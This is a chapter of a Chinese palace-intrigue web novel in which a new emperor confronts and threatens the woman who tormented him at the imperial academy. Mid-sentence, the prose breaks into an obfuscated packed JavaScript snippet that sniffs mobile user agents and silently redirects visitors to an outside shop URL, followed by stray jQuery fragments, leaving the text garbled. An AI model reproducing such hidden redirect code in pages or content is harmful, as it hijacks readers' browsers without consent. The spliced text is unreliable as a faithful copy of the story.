1. 旧仇新狗皇帝踏雪来

作品:《总有狗皇帝想害我

    宫变那天,鸣金操戈声响了一夜。


    无人知素日龙精虎猛的老皇帝如何骤然宾天,正如无人知晓那位自民间归来的三殿下,如何翻了太子的盘,一朝黄袍加身。


    皇权更迭,乾坤倒悬,阖宫上下屏息凝神,静待着未知的命数。


    这个“阖宫”里并不包含崔明禾。


    “几时了?”


    灯火漾着软榻上少女倦怠的眉眼。崔明禾指尖慵懒一弹,一枚话梅核“嗒”地落进银盘。


    “回姑娘的话,子时一刻了。”


    啧,年少轻狂时当真该少结些仇怨。这不,萧承懿那厮“莫欺少年穷”、“君子报仇十年不晚”的旧账,如今结结实实砸她脸上了。


    崔明禾甚至苦中作乐地想。


    “怎么着,接下来是不是马上要来寻我清算旧账了?”她支起身对流萤玩笑道。


    正是新旧交替、清算旧臣的好时机。杀鸡儆猴也好,敲山震虎也罢,她这当年在太学学宫里将萧承懿往死里作践的“活跃分子”,定是首当其冲了。


    “唉,左不过就是当年手欠,嘴也贱些个吗?再无非不就是把他推进护城河那么一两次……小孩子不懂事,他莫非也长不大么?”半真半假叹气,她恬不知耻地将自己划纳入“孩童”范围内。


    玩笑归玩笑,崔明禾心知肚明。那条蛰伏多年、记仇入骨的狗,断无可能好心放她一马。


    再者市井有言,“铁打的崔家,流水的皇帝”。她出身清河崔氏这等顶级门阀,新帝登基,焉能不拿世家开刀立威?她这等与萧承懿有宿仇的,简直是瞌睡递了枕头——一时动不得崔家根基,还动不得她一个崔明禾?砍了立威正合适。


    是以啊,安心等死吧。


    事实上,崔明禾真真好奇,这位表面温文尔雅内里黑透了的陛下要怎样无声无息地料理她。白绫,鸩酒,还是悄无声息让她“病故”?总不至是抄家流放,那动静未免太大,崔家的脸面,新帝眼下怕是还得掂量几分。


    崔明禾索性向后一靠,安心地躺平了。


    子时三刻,更深露重。


    唯有窗外北风呼啸,卷着雪粒子扑打窗纸,簌簌作响。她刚拈起一枚金簪,欲拨那将烬的灯芯——“陛下驾到——!”


    尖利的通传撕裂寂静。


    “陛下万安!”宫人瞬间筛糠般跪倒一片。


    殿门轰然洞开,凛冽风雪裹着血腥气卷入,吹得烛焰猛地一跳,光影乱舞,将最后一点奄奄一息的炭火暖意也悉数带走了。


    火光摇曳间一道颀长的身影立于门口,皂靴是首先踏进来的,然后是玄色织金常服的一角,她垂眼一瞥只看见几星凝固的、脏污的暗红色血渍。


    冷,砭骨的冷。


    崔明禾懒懒抬眼,目光投向那步步走近的人。


    她坐着,他站着,一如太学院时无数次对峙光景。只是彼时是少年阴郁的隐忍,此刻是帝王沉凝的威压,天壤之别。


    “外头风大,明禾自幼便畏寒,”他的声音穿透夜色而来,不辨喜怒,似老友间寻常关怀,“怎么不点一盆银丝炭?朕记得你最喜欢那炭火烧起来时,哔剥作响的声。清脆,热闹。”


    果然!撕了那层惺惺作态的温良皮,开口便是小人得志的腔调。道是狗嘴里吐不出象牙,崔明禾暗嗤,当年怎么就没看出这是头笑面虎?


    萧承懿的话音刚落了,内侍王喜立刻机灵地吩咐人搬一盆烧得正旺的银丝炭炉进来,小心翼翼放置于殿中央。


    他甚至当真踱步过去,悠闲地先烤了会火,让王喜斟了两杯茶,目光却始终没有离开崔明禾的方向。


    呵,“朕”?登基大典都没办呢,惺惺作态。崔明禾心道。


    他在距她三步之遥处驻足,居高临下地、玄色身影投下巨大压迫感,语气里含一丝微不可闻的散漫笑意:“还是说,崔大姑娘,如今连一盆好炭也用不起了?”


    这话听着不像好话,但崔明禾一点儿也不意外。


    只是她颇感稀奇,这年头的暴君在杀人前都要这么温柔体贴地问一声吗?


    世道真是变了,萧承懿也真是变了。


    这可真真是……太让人伤心了。


    所以她到底为什么要闲着没事儿手贱撕他文章?!


    早知道当初就不该把他推进护城河里!


    早知道当初就不该骂他是有娘生没娘养的狗玩意!


    只怪她作威作福惯了,何曾长过记性。


    烛火照出一张俊美无俦的脸,与记忆中那张沉默阴郁的面孔重叠又剥离。跟从前一样又不太像。


    其实早先,崔明禾只当萧承懿是个只会闷头读书的呆子。可时移世易,如今眼前的人掌控着她生杀大权。


    把玩着一把金错刀柄,眼风扫过案几上一碟蜜渍话梅,萧承懿忽地勾起一抹极淡的笑:“你倒还有心思。”


    “要不然呢?还得像殿外那些人一样哭丧着脸、夹道高呼吾皇万岁、恭迎陛下您大驾光临吗?”


    “再说,”她斜觑来人,“大半夜的,您穿这么一身来我这儿,是怕我死得太痛快还是什么?”


    “崔明禾。”


    他倏然逼近两步,在她面前站定。


    “朕当真是厌你厌得紧。”


    ——厌她厌得紧?


    崔明禾撩起眼皮瞧他一眼。


    萧承懿大概是真的很恨她,以前是。现在也是。还得捎上崔家。


    不知道的人看他这副模样,还以为她崔明禾杀父夺妻、当了他萧承懿的负心郎呢。


    崔明禾气笑了:“承蒙陛下隆恩浩荡。”


    “不过真要论起来,当年您生母当初的身份又不是我杜撰的,我也不算是”


    ——也不过是添油加醋,在学宫里广而告之罢了。


    崔明禾话说到一半,见萧承懿渐渐收敛的冷笑,便识趣地没说下去。


    说起来,她之前看不惯萧承懿,后来“骑”到他头上作威作福,归根结底还是源于这人泥腿子出身。


    萧承懿的生母浣衣女出身,当年被老皇帝下扬州看中,做了一场飞枝头变凤凰的梦。只可惜老皇帝过了新鲜劲就把她抛诸脑后拍拍屁股独身回了京城,自此留下个孽种——


    而这有娘生没娘


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16127642|180130||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    养的孽种还平平安安长成了,还拿着信物回来了,在太学的成绩还在她之上了。


    岂止是“不爽”二字了得?


    “嘘,祸从口出的道理,崔大姑娘不会不懂罢?”


    大概懒得再废口舌虚与委蛇,他俯身欺近,拇指指腹重重蹭过她柔软的唇瓣,截断了她的话头。说出的话偏生是凉的。


    这触感让她浑身一炸,崔明禾猛然后缩,脊背重重撞上引枕。


    萧承懿似乎极满意她这惊弓之鸟的反应,半笑不笑地抽回手,负于身后。


    “从前那些混账话,朕可以当是年少无知。可如今,再说错一个字,朕便拔了你的舌头,你信不信?”


    他慢条斯理地取过金错刀,刀柄上错金纹样在烛火下流转着森然的光。掌中灵活一转,出鞘半寸。用指腹细细地擦拭着刀柄,不紧不慢道:“朕记得,你从前最喜欢亮晶晶的东西。”


    短刀在他掌心抛起,划出一道冷厉的弧光,又稳稳落回。他含笑的目光落在崔明禾身上。


    “‘惊鸿’,前朝名匠所铸,吹毛断发,削铁如泥。你若喜欢,赏你,如何?”


    王喜在一旁听得心惊肉跳,几乎要把头埋进地里去。


    新皇这是什么意思?赏一把利刃给这位曾经作天作地的崔姑娘,这哪里是赏赐,分明是催命符。他悄悄抬眼,只见自家主子脸上依旧是那副温和的笑,可那笑意怎么看怎么让人脊背发凉。


    殿外的风似乎更大了些,呜咽声响。殿内宫人早已噤若寒蝉,连呼吸都放得轻,生怕一个不慎就惹来杀身之祸。


    空气中弥漫着一种诡异的静,唯有一星寒芒在眼前晃动,崔明禾的脑子也空白了。


    “怎么不说话了?”


    “朕还以为,大姑娘天不怕地不怕,便是朕的龙椅,也敢上来坐一坐呢。”


    他踱回到面前,将那柄短刃“当啷”一声掷于她面前的矮几之上,声响清脆在寂静的殿内格外突兀。刀鞘古朴,却掩不住逼人的锋锐之气。


    萧承懿思忖片刻,又一次伸手。这一次是去端手边那盏早已凉透的茶。茶盏送到了唇边,却并不饮。只是指腹轻轻摩挲着杯壁上缠枝纹,目光幽深。


    “这长信宫的茶,还是从前的味道。只是人,却不似从前那般有趣了。”


    茶盏搁在几上,发出一声轻响。


    “朕记得,当年在太学,你最爱看话本子。尤其喜欢那些‘始乱终弃、薄情寡义’的戏码。”


    “你说,若是将你我二人的故事也编成一出戏,该取个什么名儿才好?”


    他像是真的在认真询问她意见,嘴角甚至噙着两分兴味。


    “是叫‘恶女末路’,还是叫‘君心难测’?”


    “罢了,这些都不够贴切。”


    他自问自答,又作苦恼般摇头。


    “朕替你想了一个。”


    萧承懿俯身逼近她因惊惧而微微放大的瞳孔,似笑非笑,一字一顿,如惊雷炸在她耳畔:“不如,就叫‘债、主、临、门’。”


    声音悠悠,如风过境。她被这笑容激得起了一身鸡皮疙瘩。